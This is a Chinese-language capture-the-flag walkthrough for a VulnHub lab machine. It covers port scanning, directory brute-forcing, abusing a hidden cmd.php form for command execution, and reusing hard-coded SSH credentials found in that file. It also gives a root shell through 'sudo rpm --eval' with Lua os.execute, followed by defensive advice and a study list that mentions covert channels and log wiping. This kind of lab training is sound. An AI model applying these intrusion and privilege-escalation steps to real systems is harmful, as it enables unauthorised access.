InfoSecWarrior CTF 2020: 01
字数 1398 2025-08-10 17:51:46
InfoSecWarrior CTF 2020: 01 渗透测试教学文档
1. 环境准备
1.1 靶机部署
- 下载靶机OVA文件: https://download.vulnhub.com/infosecwarrior/Infosec_Warrior1.ova
- 使用VirtualBox导入OVA文件搭建靶机环境
- 攻击机使用Kali Linux(VMware环境)
- 网络配置:靶机和攻击机通过网桥连接,确保在同一网段
1.2 工具准备
- arp-scan:用于网络扫描
- nmap:端口扫描和服务探测
- 目录爆破工具(如dirb、gobuster等)
- Burp Suite:用于HTTP请求分析和修改
2. 信息收集阶段
2.1 网络发现
- 确定攻击机IP地址(示例中为169.254.72.159)
- 使用arp-scan扫描同网段设备:
发现靶机IP(示例中为169.254.72.160)arp-scan -l
2.2 端口扫描
使用nmap进行深度扫描:
nmap -sV -p- 169.254.72.160
扫描结果:
- 22/tcp:SSH服务
- 80/tcp:HTTP服务(Apache)
3. Web渗透阶段
3.1 初步访问
- 访问靶机80端口:
http://169.254.72.160 - 观察到Apache默认页面,无明显信息
3.2 目录爆破
使用目录爆破工具扫描web目录:
gobuster dir -u http://169.254.72.160 -w /path/to/wordlist.txt
发现:
/index.html:可访问页面(包含动图)- WordPress相关目录(返回500状态码)
3.3 源代码分析
- 访问
/index.html并查看页面源代码 - 发现隐藏的
cmd.php文件:<form action="cmd.php" method="get" hidden="True"> - 删除
hidden="True"属性后刷新页面,显示命令输入框
3.4 命令执行漏洞利用
-
初始尝试GET方式执行命令失败
-
修改为POST方式提交:
<form action="cmd.php" method="post"> -
成功执行命令(如
whoami) -
使用Burp Suite捕获请求:
- 方法:POST
- 目标:
http://169.254.72.160/cmd.php - 参数:命令通过表单字段提交
-
查看
cmd.php源代码:curl http://169.254.72.160/cmd.php发现硬编码凭据:
Username: isw0 Password: 123456789blabla
4. 系统渗透阶段
4.1 SSH登录
使用发现的凭据通过SSH登录:
ssh isw0@169.254.72.160
密码:123456789blabla
4.2 初始访问后操作
- 在家目录发现第一个flag文件
- 检查sudo权限:
结果显示用户可以使用多个命令,包括sudo -lrpm
5. 权限提升
5.1 利用rpm提权
执行以下命令获取root shell:
sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
5.2 获取最终flag
- 检查
/home/isw2目录下的flag文件(可能为空) - 检查
/root目录:
获取最终flagcd /root ls cat flag.txt
6. 技术要点总结
- 信息收集:全面的网络扫描和目录爆破是关键
- 源代码审计:隐藏的表单和文件可能包含重要信息
- HTTP方法:GET和POST方法的差异可能导致漏洞利用成功与否
- 凭据管理:硬编码凭据是常见的安全问题
- 权限提升:检查sudo权限并利用可用命令进行提权
7. 防御建议
- 避免在源代码中硬编码敏感信息
- 限制Web服务器上的命令执行功能
- 合理配置sudo权限,避免不必要的命令授权
- 定期进行安全审计和渗透测试
- 对Web目录进行权限控制,防止源代码泄露
8. 扩展学习
- 其他命令执行漏洞利用技术
- 更多sudo提权方法(如利用find、vim、python等)
- Web目录爆破的高级技术和工具
- 隐蔽通道建立技术
- 日志清理和痕迹清除方法